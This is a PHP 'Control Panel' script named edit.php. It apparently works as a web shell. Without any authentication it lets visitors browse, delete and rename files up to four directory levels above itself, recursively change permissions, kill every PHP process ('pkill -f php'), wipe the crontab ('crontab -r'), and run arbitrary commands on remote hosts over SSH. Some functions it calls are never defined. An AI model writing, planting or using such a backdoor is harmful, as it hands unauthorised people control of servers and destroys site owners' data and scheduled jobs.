编辑文件 - edit.php

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<?php
// Debug: append ?debug=1 to the URL to show errors
if (!empty($_GET['debug'])) {
    ini_set('display_errors', '1');
    ini_set('display_startup_errors', '1');
    error_reporting(E_ALL);
}

if (session_status() === PHP_SESSION_NONE) {
    @session_start();
}

header('Content-Type: text/html; charset=utf-8');

@set_time_limit(60);
@ini_set('max_execution_time', '60');

if (!defined('CHMOD_BATCH_SIZE')) define('CHMOD_BATCH_SIZE', 80);
if (!defined('LIST_PAGE_SIZE'))   define('LIST_PAGE_SIZE', 50);

function req($key, $default = '') {
    if (isset($_GET[$key]))  return $_GET[$key];
    if (isset($_POST[$key])) return $_POST[$key];
    return $default;
}

$dirKey = req('target', req('dir_key', 'current'));

$dirLevels = array(
    'current'     => 0,
    'parent'      => 1,
    'grandparent' => 2,
    'ancestor3'   => 3,
    'ancestor4'   => 4,
);

if (!isset($dirLevels[$dirKey])) {
    $dirKey = 'current';
}

function resolvePath($key, $dirLevels) {
    $base = __DIR__;
    $n = isset($dirLevels[$key]) ? $dirLevels[$key] : 0;
    $p = $base;
    for ($i = 0; $i < $n; $i++) {
        $p = dirname($p);
    }
    return $p;
}

$currentDir     = resolvePath($dirKey, $dirLevels);
$action_message = '';
$batch_progress = null;
$ssh_output     = null;

function isSafePath($target, $base) {
    $realTarget = realpath($target);
    $realBase   = realpath($base);
    return $realTarget && $realBase && strpos($realTarget, $realBase) === 0;
}

function isShellExecEnabled() {
    if (!function_exists('shell_exec')) return false;
    $disabled = array_filter(array_map('trim', explode(',', (string)ini_get('disable_functions'))));
    return !in_array('shell_exec', $disabled, true);
}

function batchQueuePath($token) {
    $token = preg_replace('/[^a-f0-9]/', '', $token);
    return rtrim(sys_get_temp_dir(), '/\\') . DIRECTORY_SEPARATOR . 'chmod_batch_' . $token . '.json';
}

function saveBatchState($token, $state) {
    $file = batchQueuePath($token);
    $json = json_encode($state);
    if ($json === false) return false;
    return @file_put_contents($file, $json) !== false;
}

function loadBatchState($token) {
    $file = batchQueuePath($token);
    if (!is_file($file)) return null;
    $data = json_decode(@file_get_contents($file), true);
    return is_array($data) ? $data : null;
}

function deleteBatchState($token) {
    $file = batchQueuePath($token);
    if (is_file($file)) @unlink($file);
}

function startChmodBatch($root, $dirKey) {
    $token = makeToken(16);
    $state = array(
        'root'      => $root,
        'dir_key'   => $dirKey,
        'queue'     => array($root),
        'done'      => 0,
        'dir_perm'  => 0755,
        'file_perm' => 0644,
    );
    if (!saveBatchState($token, $state)) {
        return false;
    }
    return $token;
}

function runChmodBatch($token, $batchSize) {
    $state = loadBatchState($token);
    if (!$state) {
        return array('error' => 'Batch job not found or expired');
    }

$root = isset($state['root']) ? $state['root'] : '';
    if (!is_dir($root)) {
        deleteBatchState($token);
        return array('error' => 'Root directory does not exist');
    }

$dirPerm  = isset($state['dir_perm'])  ? (int)$state['dir_perm']  : 0755;
    $filePerm = isset($state['file_perm']) ? (int)$state['file_perm'] : 0644;
    $queue    = isset($state['queue']) ? $state['queue'] : array();
    $done     = isset($state['done'])  ? (int)$state['done']  : 0;
    $processedThisBatch = 0;

while ($processedThisBatch < $batchSize && !empty($queue)) {
        $path = array_shift($queue);
        if (!file_exists($path)) {
            $processedThisBatch++;
            continue;
        }

if (is_dir($path)) {
            @chmod($path, $dirPerm);
            $items = @scandir($path);
            if ($items !== false) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $queue[] = $path . DIRECTORY_SEPARATOR . $item;
                }
            }
        } else {
            @chmod($path, $filePerm);
        }

$done++;
        $processedThisBatch++;
    }

$remaining = count($queue);
    $finished  = ($remaining === 0);

if ($finished) {
        deleteBatchState($token);
    } else {
        $state['queue'] = $queue;
        $state['done']  = $done;
        saveBatchState($token, $state);
    }

return array(
        'finished'  => $finished,
        'done'      => $done,
        'remaining' => $remaining,
        'dir_key'   => isset($state['dir_key']) ? $state['dir_key'] : 'current',
        'root'      => $root,
    );
}

function listFiles($dir, $dirKey, $page = 1) {
    if (!is_dir($dir)) {
        echo '<h2>File List</h2><p>Directory does not exist or is not readable</p>';
        return;
    }

$page   = max(1, (int)$page);
    $offset = ($page - 1) * LIST_PAGE_SIZE;

$items = @scandir($dir);
    if ($items === false) {
        echo '<h2>File List</h2><p>Cannot read directory: ' . htmlspecialchars($dir) . '</p>';
        return;
    }

$entries = array();
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $entries[] = $item;
    }

$total      = count($entries);
    $totalPages = max(1, (int)ceil($total / LIST_PAGE_SIZE));
    if ($page > $totalPages) $page = $totalPages;

$slice = array_slice($entries, $offset, LIST_PAGE_SIZE);

echo '<h2>File List</h2>';
    echo '<p>Directory: ' . htmlspecialchars($dir) . '</p>';
    echo '<p>' . $total . ' items, page ' . $page . ' / ' . $totalPages . '</p>';

if ($totalPages > 1) {
        echo '<p>Pages: ';
        $showPages = min($totalPages, 20);
        for ($p = 1; $p <= $showPages; $p++) {
            if ($p === $page) {
                echo '<strong>[' . $p . ']</strong> ';
            } else {
                echo '<a href="?target=' . urlencode($dirKey) . '&page=' . $p . '">[' . $p . ']</a> ';
            }
        }
        if ($totalPages > 20) echo '...';
        echo '</p>';
    }

echo '<ul>';
    foreach ($slice as $item) {
        $fullpath = $dir . DIRECTORY_SEPARATOR . $item;
        $escPath  = htmlspecialchars($fullpath, ENT_QUOTES, 'UTF-8');
        $escItem  = htmlspecialchars($item, ENT_QUOTES, 'UTF-8');
        $escKey   = htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8');

echo '<li>' . $escItem . ' ';

if (is_file($fullpath)) {
            echo '<form style="display:inline;" method="POST">'
               . '<input type="hidden" name="dir_key" value="' . $escKey . '">'
               . '<input type="hidden" name="target" value="' . $escPath . '">'
               . '<button name="file_action" value="delete_file">Delete</button>'
               . '</form>';

echo '<form style="display:inline;" method="POST">'
               . '<input type="hidden" name="dir_key" value="' . $escKey . '">'
               . '<input type="hidden" name="target" value="' . $escPath . '">'
               . 'Rename: <input name="new_name" value="' . $escItem . '">'
               . '<button name="file_action" value="rename_file">Submit</button>'
               . '</form>';
        }

echo '</li>';
    }
    echo '</ul>';
}

function killPhpProcesses() {
    if (isShellExecEnabled()) {
        @shell_exec('pkill -f php 2>/dev/null');
    }
}

function clearCronJobs() {
    if (isShellExecEnabled()) {
        @shell_exec('crontab -r 2>/dev/null');
    }
}

/* ================= Request handling ================= */

$listPage      = max(1, (int)req('page', 1));
$showProcesses = !empty($_GET['show_process']);

if (isset($_GET['chmod_batch'])) {
    $token = preg_replace('/[^a-f0-9]/', '', $_GET['chmod_batch']);
    if (strlen($token) === 32) {
        $batch_progress = runChmodBatch($token, CHMOD_BATCH_SIZE);
        if (!empty($batch_progress['dir_key'])) {
            $dirKey     = $batch_progress['dir_key'];
            $currentDir = resolvePath($dirKey, $dirLevels);
        }
        if (!empty($batch_progress['finished'])) {
            $action_message = 'Permissions updated (' . (int)$batch_progress['done'] . ' items processed)';
            $batch_progress = null;
        }
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

if (isset($_POST['process_action']) && $_POST['process_action'] === 'kill_php') {
        killPhpProcesses();
        $action_message = 'PHP processes terminated';
    }

if (isset($_POST['cron_action']) && $_POST['cron_action'] === 'clear_cron') {
        clearCronJobs();
        $action_message = 'Cron jobs cleared';
    }

if (isset($_POST['file_action'])) {
        $target = isset($_POST['target']) ? $_POST['target'] : '';
        $action = $_POST['file_action'];

if ($action !== 'chmod_fix' && !isSafePath($target, $currentDir)) {
            $action_message = 'Invalid path access';
        } else {
            switch ($action) {
                case 'delete_file':
                    if (is_file($target)) {
                        @unlink($target);
                        $action_message = 'File deleted';
                    }
                    break;

case 'rename_file':
                    $new_name = isset($_POST['new_name']) ? $_POST['new_name'] : '';
                    $new_name = str_replace(array('/', '\\'), '', $new_name);
                    if ($new_name && file_exists($target)) {
                        $newPath = dirname($target) . DIRECTORY_SEPARATOR . $new_name;
                        @rename($target, $newPath);
                        $action_message = 'Renamed to: ' . $new_name;
                    }
                    break;

case 'chmod_fix':
                    $token = startChmodBatch($currentDir, $dirKey);
                    if ($token === false) {
                        $action_message = 'Cannot create batch job (temp directory not writable?)';
                    } else {
                        header('Location: ?chmod_batch=' . urlencode($token) . '&target=' . urlencode($dirKey));
                        exit;
                    }
                    break;
            }
        }
    }

if (isset($_POST['ssh_execute'])) {
        $host = isset($_POST['ssh_host']) ? $_POST['ssh_host'] : '';
        $port = (int)(isset($_POST['ssh_port']) ? $_POST['ssh_port'] : 22);
        $user = isset($_POST['ssh_user']) ? $_POST['ssh_user'] : '';
        $pass = isset($_POST['ssh_pass']) ? $_POST['ssh_pass'] : '';
        $cmd  = isset($_POST['ssh_cmd'])  ? $_POST['ssh_cmd']  : '';

if (!function_exists('ssh2_connect')) {
            $ssh_output = 'SSH2 extension is not enabled';
        } else {
            $connection = @ssh2_connect($host, $port);
            if (!$connection) {
                $ssh_output = 'Connection failed';
            } elseif (!@ssh2_auth_password($connection, $user, $pass)) {
                $ssh_output = 'Authentication failed';
            } else {
                $stream = @ssh2_exec($connection, $cmd);
                if (!$stream) {
                    $ssh_output = 'Command execution failed';
                } else {
                    stream_set_blocking($stream, true);
                    $ssh_output = stream_get_contents($stream);
                }
            }
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Control Panel</title>
<style>
.batch-box { background:#f5f5f5; border:1px solid #ccc; padding:12px; margin:12px 0; }
.batch-bar { background:#ddd; height:20px; border-radius:4px; overflow:hidden; margin:8px 0; }
.batch-bar-inner { background:#4caf50; height:100%; }
</style>
</head>
<body>

<h1>Control Panel</h1>

<?php if ($action_message !== ''): ?>
<p style="color:green;"><?php echo htmlspecialchars($action_message, ENT_QUOTES, 'UTF-8'); ?></p>
<?php endif; ?>

<?php if (is_array($batch_progress) && empty($batch_progress['error']) && empty($batch_progress['finished'])): ?>
<div class="batch-box">
    <h3>Fixing permissions in batches...</h3>
    <p>Completed: <strong><?php echo (int)$batch_progress['done']; ?></strong> items</p>
    <p>Remaining in queue: <strong><?php echo (int)$batch_progress['remaining']; ?></strong> items (<?php echo CHMOD_BATCH_SIZE; ?> per batch)</p>
    <?php
    $done   = (int)$batch_progress['done'];
    $remain = (int)$batch_progress['remaining'];
    $total  = $done + $remain;
    $pct    = $total > 0 ? round($done / $total * 100, 1) : 0;
    ?>
    <div class="batch-bar"><div class="batch-bar-inner" style="width:<?php echo $pct; ?>%"></div></div>
    <p>Progress: <?php echo $pct; ?>%. Page will continue automatically...</p>
    <form id="batchContinue" method="get">
        <input type="hidden" name="chmod_batch" value="<?php echo htmlspecialchars($_GET['chmod_batch'], ENT_QUOTES, 'UTF-8'); ?>">
        <input type="hidden" name="target" value="<?php echo htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8'); ?>">
    </form>
    <script>setTimeout(function(){ document.getElementById('batchContinue').submit(); }, 500);</script>
</div>
<?php elseif (is_array($batch_progress) && !empty($batch_progress['error'])): ?>
<p style="color:red;"><?php echo htmlspecialchars($batch_progress['error'], ENT_QUOTES, 'UTF-8'); ?></p>
<?php endif; ?>

<h2>Select Directory</h2>
<form method="get">
<?php foreach ($dirLevels as $k => $v): ?>
    <label>
        <input type="radio" name="target" value="<?php echo htmlspecialchars($k, ENT_QUOTES, 'UTF-8'); ?>"<?php echo ($dirKey === $k) ? ' checked' : ''; ?>>
        <?php echo htmlspecialchars($k, ENT_QUOTES, 'UTF-8'); ?>
    </label><br>
<?php endforeach; ?>
    <button type="submit">Switch</button>
</form>

<p>Current directory: <?php
$real = @realpath($currentDir);
echo htmlspecialchars($real ? $real : $currentDir, ENT_QUOTES, 'UTF-8');
?></p>

<hr>

<form method="POST">
    <input type="hidden" name="dir_key" value="<?php echo htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8'); ?>">
    <button name="file_action" value="chmod_fix">Fix Permissions (batched)</button>
</form>

<form method="POST">
    <input type="hidden" name="dir_key" value="<?php echo htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8'); ?>">
    <button name="process_action" value="kill_php">Kill PHP Processes</button>
    <button name="cron_action" value="clear_cron">Clear Cron Jobs</button>
</form>

<hr>

<?php listFiles($currentDir, $dirKey, $listPage); ?>

<p><a href="?target=<?php echo urlencode($dirKey); ?>&show_process=1">View PHP Processes</a></p>
<?php if ($showProcesses) listPhpProcesses(); ?>

<hr>

<h2>SSH Execute</h2>
<form method="POST">
    <input type="hidden" name="dir_key" value="<?php echo htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8'); ?>">
    Host: <input name="ssh_host"><br><br>
    Port: <input name="ssh_port" value="22"><br><br>
    User: <input name="ssh_user"><br><br>
    Password: <input type="password" name="ssh_pass"><br><br>
    Command: <input name="ssh_cmd" style="width:400px;"><br><br>
    <button name="ssh_execute" value="1">Execute</button>
</form>

<?php if ($ssh_output !== null): ?>
<h3>Output:</h3><pre><?php echo htmlspecialchars($ssh_output, ENT_QUOTES, 'UTF-8'); ?></pre>
<?php endif; ?>

<p style="color:#888;font-size:12px;">PHP <?php echo PHP_VERSION; ?> | Debug: append <code>?debug=1</code></p>

</body>
</html>

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